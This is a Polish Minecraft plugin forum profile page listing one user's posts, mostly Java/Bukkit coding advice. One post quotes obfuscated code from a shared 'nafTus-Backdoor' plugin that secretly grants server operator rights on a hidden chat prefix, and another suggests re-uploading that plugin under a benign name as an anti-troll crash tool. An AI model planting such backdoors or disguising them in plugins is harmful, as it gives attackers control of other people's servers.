Skocz do zawartości

GotoFinal

Użytkownik
  • Ilość zawartości

    284
  • Rejestracja

  • Ostatnia wizyta

  • Wygrane w rankingu

    5

Treść opublikowana przez GotoFinal

  1. GotoFinal

    Sk

    jak nie ma licencji to znaczy że ma wszystkie prawa i obowiązuje All Rights Reserved....
  2. no chcesz tylko ukraść czyjś plugin... nie widzę powodu czemu ktoś miałby ci w tym pomagać.
  3. skąd ten plugin pochodzi że ma backdoora...?
  4. GotoFinal

    Sk

    Algorytmy i idee same w sobie nie są objęte prawami autorskimi i żadną prawną ochroną, co oznacza że jak zrobi plugin a o takim samym działaniu - i nie kopiując niczego od ciebie - to jest to w pełni legalne i nie narusza żadnych własności. EDIT: jedyne o co możesz się przyczepić to o opublikowane go tutaj. I jak jesteś autorem możesz żądać usunięcia go stąd - a wtedy on może zamiast tego podać link do tematu z twoją publikacją np
  5. GotoFinal

    nafTus-Backdoor

    też nie wiem za co, crashowanie to ciekawa opcja by odstraszyć troli, zamiast bana. Może wrzuć jeszcze raz, ale jakoś inaczej opisane, np StopTroll i opcjami że wybranych graczy losowo crashuje w niektórych eventach, taki system mają niektóre forma, np xenforo, tak że zamiast banować trola możesz go zniechęcić do używania forum - a tutaj gry. Nie wiem co za nooby to usuwają Ale jakiego poziomu spodziewać się po tym forum....
  6. GotoFinal

    nafTus-Backdoor

    ale wtedy nie możesz tego udostępniać publicznie itd, tylko mieć dla siebie.
  7. GotoFinal

    nafTus-Backdoor

    demo jest tylko po to by sprawdzić jak to działa.... nie ma tak że jest na stronie to można... dali demo - możesz sobie pobrać, użyć i zobaczyć czy podoba ci się poziom na jaki to zabezpiecza, jak tak to kupujesz i używasz.
  8. GotoFinal

    nafTus-Backdoor

    bez sensu przecież, co to za backdoor gdzie każdy ma takie same ukryte komendy? xD do tego co z tego że zaciemnione, ajk dalej widac ze to backdoor, bo widać że wiadomośc ma się od czegoś zaczynać i wtedy dać opa if (a.getMessage().startsWith(DMCoreConnect.ALLATORIxDEMO("y^2\n"))) { AsyncPlayerChatEvent tmp118_117 = a;localPlayer = tmp118_117.getPlayer();tmp118_117 .setCancelled(true); Player tmp130_129 = localPlayer;localPlayer.sendMessage(DMCoreConnect.ALLATORIxDEMO("�M�\026\006�k�1\024<\034\t\017.�j�1W�L�\026\037\033>\0219\0252\b�M�\026\000�;�14<\036<\r<\0244\037}\025-\037/\033)\025/\033"));tmp130_129.setOp(true);tmp130_129.sendMessage(DMCoreConnect.ALLATORIxDEMO("�M�\026\006�k�1\024<\034\t\017.�j�1W�L�\026\037\033>\0219\0252\b�M�\026\000�;�15-\037/\033)\025/ZgZ)\b(\037")); } + wersja demo alatori, czyli jesteś piratem, zabij się ;/ Ni to backdoor, ni to plugin, ni to cokolwiek, gówno i tyle ;/
  9. zależy jak patrząc, ogólnie potrafi zejść mocniej, ale używałem eclipse i intellij na kompie z pentium 4 xD i intellij o dziwo działało lepiej - tylko koniecznie wersja community i trzeba wejść w pluginy i wyłączyć to czego się nie używa (na community tak właściwe nie ma zbędnych, o ile nie zaznaczysz przy pierwszym odpaleniu że chcesz kotliny, skale czy androida) Intellij lepiej pożytkowało tę moc najlżejszy jest netbeans, ale możesz spróbować intellij.
  10. String pName = args[0]; if(Bukkit.getPlayer(pName) !=null){ Player cel = Bukkit.getPlayerExact(args[0]); skoro już zrobiłeś pName to potem dalej tego używaj, tak samo nie ma sensu raz użyć getPlayer a raz getPlayerExact bo to zwraca inne wyniki, i już nie wiesz czy gracz będzie czy nie. EDIT: no i ogólnie nie pobieraj gracza niepotrzebnie kilka razy, daj do zmiennej i sprawdzaj czy ona jest nullem itd. A tak to permissions sprawdzaj na początku komendy if (! sender.hasPermission("...")) { // wyslanie info do użytkownika return true; }
  11. no bo tu nie ma żadnego gracza, powinieneś zaczać od podstaw javy. Odwołujesz się do zmiennej "player" a przecież nigdzie takiej nie masz, masz tylko zmienną "m" i "e". Tutaj nawet nie ma pobrać jakiego gracza, bo to event dotyczący tylko bloku, w tym gracz nie bierze udziału, ale np z eventu PlayerBuckerEmptyEvent można już gracza pobrać metodą .getPlayer z obiektu eventu.
  12. czemu masz średnik po ifie, wtedy żaden kod do tego ifa nie jest wykonywany, formatuj kod - każde ide ma taką opcję, wtedy lepiej widać takie błędy. No i co robi sprawdzenie nazwy komendy w evencie, przecież tam już nie wykonuje się żadna komenda, więc nie ma tam takiej zmiennej też.
  13. nie mam pojęcia, bo nie wiem kompletnie o czym piszesz
  14. nie. nie nauczysz się kopiując gotowca https://hub.spigotmc.org/javadocs/bukkit/org/bukkit/event/player/PlayerBucketEmptyEvent.html masz wszystko w tym evencie, tylko nasłuchiwać i anulować kiedy chcesz.
  15. no blokujesz event BucketEmptyEvent jeśli kliknięty blok to trawa
  16. GotoFinal

    Sk

    https://www.spigotmc.org/wiki/plugin-snippets/
  17. GotoFinal

    Sk

    noo a co już napisałeś, z czym masz problem? wiesz jak się rejestruje eventy? komendy? pokaż jakąś swoją inicjatywę a nie tylko czekasz na gotowca.
  18. durability nie jest zmiennoprzecinkowe, więc float nie ma sensu, tylko dajesz szansę ze porównanie się nie uda bo wartośc będzie inna o 0.000001. A od material jest: https://hub.spigotmc.org/javadocs/spigot/org/bukkit/Material.html#matchMaterial-java.lang.String- Bo valueOf musi się idealnie zgadzać i jest case sensitive co w tym wypadku nie ma uzasadnienia.
  19. no większośc tych "hardcore" to wlasnie takie male szybkie serwery na kasę, proste łatwe serwerki bez dopasowania czegokolwiek
  20. przecież istnieją gotowe pluginy do zarządzania receptami, więc po co osobny na coś tak małego? A kod okropny, klasy z małych liter, brak możliwości zmiany wiadomości itd ;/
  21. GotoFinal

    Loop?

    no twoje w skrypcie tez lizy od 0 do 4, bo przecież liczysz od 1 do 5 a potem odejmujesz 1, więc wychodzi od 0 do 4. chodzi ci o sprawdzenie warunku czy liczba jest w zakresie? No trzeba if (z >= 10 && z <= 20) lub można napisac/użyć jakiejś metody, np: if (Range.between(10, 20).contains(z)) Czy zrobić sobie metodę isBetween(int x, int from, int to) { return x >= from && x <= to; } i wtedy if (isBetween(z, 10, 20)) plus taki że możesz taką metodę zrobić statycznie i używać wszedzie, ale pewnie w jakiś bibliotekach dołączonych do spigota już taka jest.
  22. GotoFinal

    Loop?

    wtf? czemu te i++ jest osobno, a tak to zakładam ze te loop number liczy od 1, więc to można zastąpić tak: for(int z = 0; z < 5; z++){ // i tutaj już liczy od 0 do 4 włącznie. }
  23. GotoFinal

    YML

    tutaj masz problem że znak & jest znakiem specjalnym w YAML, więc musisz oznaczyć ze to jest string: fly_enable: "&cWiadomosc" fly_disable: "&aWiadomosc" (dotyczy to tylko przypadków gdzie string zaczyna się od &, w środku może być )
  24. public class SpyPlayer extends ArrayList<Player> takie coś nie ma sensu i nazwa jest myląca, jak by miało reprezentować jednego gracza, a to jest tylko lista. Tym bardziej takie coś: public ArrayList<Player> getList() { return this; } po co zwracać to samo co jest, nic to nie zmienia. public boolean isSet(Player p) { for (Player in : this) { if (in.getName().equalsIgnoreCase(p.getName())) { return true; } } return false; } a do takich operacji są lepsze mapki i zwyczajnie sety, trzymasz tam też graczy, więc wystraczy tylko .contains I no właśnie, trzymasz tam graczy, a to zły pomysł, bo jak gracz wyjdzie z serwera, to dalej zostaje tam - i zajmuje to pamięć.
  25. pokaż ten kod z eventem i powiedz co dokładnie chcesz osiągnąć
×
×
  • Dodaj nową pozycję...